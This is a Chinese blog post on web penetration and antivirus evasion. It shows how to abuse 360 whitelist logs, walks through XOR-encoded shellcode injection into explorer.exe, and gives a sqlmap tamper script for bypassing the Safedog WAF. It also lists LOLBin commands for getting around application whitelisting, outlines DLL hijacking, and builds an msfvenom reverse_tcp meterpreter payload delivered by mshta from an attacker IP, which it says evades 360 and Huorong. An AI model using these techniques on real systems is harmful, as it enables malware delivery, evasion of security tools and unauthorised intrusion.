WEB渗透免杀篇-绕过

360白名单

需要足够的权限 360的扫描日志和设置白名单日志位置在:C:\Users[username]\AppData\Roaming\360Safe\360ScanLog

查看扫描日志内容可以查询到白名单文件 日志文件记录的是添加或移除白名单的时间、文件名、hash等信息,otc=1为添加白名单,otc=2为移除白名单或者隔离木马病毒文件等 可以使用这些白名单文件的命名来绕过查杀

内存中解码shellcode绕过av

https://github.com/mhaskar/Shellcode-In-Memory-Decoder 流程 打开一个进程并检索该进程的HANDLE。 在进程中分配空间(检索内存地址)。 将数据(shellcode)写入该进程中。 执行shellcode。 我们可以使用几个Win32 API执行这些步骤: OpenProcess() VirtualAllocEx() WriteProcessMemory() CreateRemoteThread() 正常情况下,我们将原始shellcode直接写入到内存中,但是如果AV /EDR检测到了Shellcode,它们肯定会发出警报 所以我们在二进制文件中使用可逆的方式把shellcode编码,再解码写入内存来规避防护。 比如加、减、异或、交换。 使用cs生成个shellcode

复制代码
使用python进行异或
复制代码
该脚本读取我们的shellcode的每个操作码,然后将其与字节0x01(在这种情况下为我们的密钥)进行异或,将其打印为如下的shellcode :

现在,我们将开始实现将为我们执行shellcode注入的C代码。 编译方式 x86_64-w64-mingw32-gcc decoder.c -o decoder.exe -w 我将逐步介绍每个win32 API。 打开过程并获取一个句柄 我们需要选择一个向其注入shellcode的进程,然后需要检索该过程的句柄,以便可以对其执行一些操作,我们将使用OpenProcess win32 API

复制代码
该代码将您要获取其句柄的进程ID作为第一个参数,然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess()来打开该进程并将该句柄保存在变量process中,最后,为我们打印
复制代码
成功检索到该句柄
检索句柄后的下一步将是在该进程内分配空间,我们可以使用VirtualAllocEx()
复制代码
base_address代表分配的内存的地址
16行,我们将打印分配的内存的地址,并将其写入数据
复制代码
0x29d0000作为地址,
使用x64dbg附加explorer.exe进程,转到这里看看

可以看到函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间,我们准备写入数据。 接下来我们解码shellcode并写到内存中 即使使用这种类型(这里用的是异或)的编码,我们的shellcode也可能会被标记,因此请确保在操作中使用之前使用更强的编码并对其进行测试。 这里为测试就只使用的0x01

复制代码
这段代码将使用密钥0x01对每个字节进行解码后,将我们的shellcode写入内存中
运行
复制代码
如图所见,我们将每个字节写入地址,现在我们用x64dbg进行调试,然后转到地址 0x3ce0000查看一下:
复制代码
可以看到shellcode已经写入进去了。
下一步就是执行shellcode了
使用CreateRemoteThread()函数来执行

绕过安全狗脚本

复制代码
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11440AND*/')
        payload=payload.replace('ORDER','order/*!77777cz*/')
        payload=payload.replace("SELECT","/*!11440SELECT*/")
        payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
        payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
        payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
        payload=payload.replace("USER())","USER/*!77777cz*/())")
        payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
        return payload

一些可尝试绕过白名单的执行

复制代码
forfiles /p c:\windows\system32 /m notepad.exe /c <bin> 
explorer.exe /root,"<bin>" 
pcalua.exe -a <bin> 
scriptrunner.exe -appvscript <bin> 
wmic process call create <bin> 
rundll32.exe advpack.dll, RegisterOCX <bin>

DLL劫持

白dll劫持 Processmonitor查找程序加载的dll 使用stud_pe加载dll进去 或 生成payload免杀好粘贴进去,查看目标上有什么软件,本地查找可劫持的dll,劫持好文件后传上去。

Mshta

复制代码
https://github.com/mdsecactivebreach/CACTUSTORCH/blob/master/CACTUSTORCH.hta
生成
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.bin
>cat 1.bin |base64 -w 0
复制代码
编码后的内容复制到
复制代码
执行
>mshta http://192.168.0.106:1222/1.hta
360执行检测出来,静态动态无法检测、火绒无法检测
相关推荐
mjhcsp6 小时前
博客安全攻防演练:从实战视角构建全方位防护体系
网络安全·博客
数字供应链安全产品选型6 小时前
国家级!悬镜安全入选两项“网络安全国家标准应用实践案例”
人工智能·安全·web安全
2401_865382507 小时前
工信部发布→《云计算综合标准化体系建设指南(2025版)》
网络安全·云计算·信息安全技术
Bruce_Liuxiaowei8 小时前
Windows系统错误6118全面解决方案:修复此工作组的服务器列表当前无法使用
运维·服务器·windows·网络安全
鹿鸣天涯10 小时前
商用密码应用安全性评估
网络·安全·web安全
jieyu111913 小时前
xxe靶场通关
安全·web安全
A Runner for leave16 小时前
网络与通信安全课程复习汇总2——信息保密
web安全
Whoami!19 小时前
5-4〔OSCP ◈ 研记〕❘ SQL注入攻击▸基于 UNION 的SQLi
网络安全·信息安全·sql注入·oscp
缘友一世1 天前
漏洞扫描POC和web漏洞扫描工具
网络·安全·web安全
christine-rr2 天前
linux常用命令(6)——网络管理
linux·服务器·网络·ubuntu·网络安全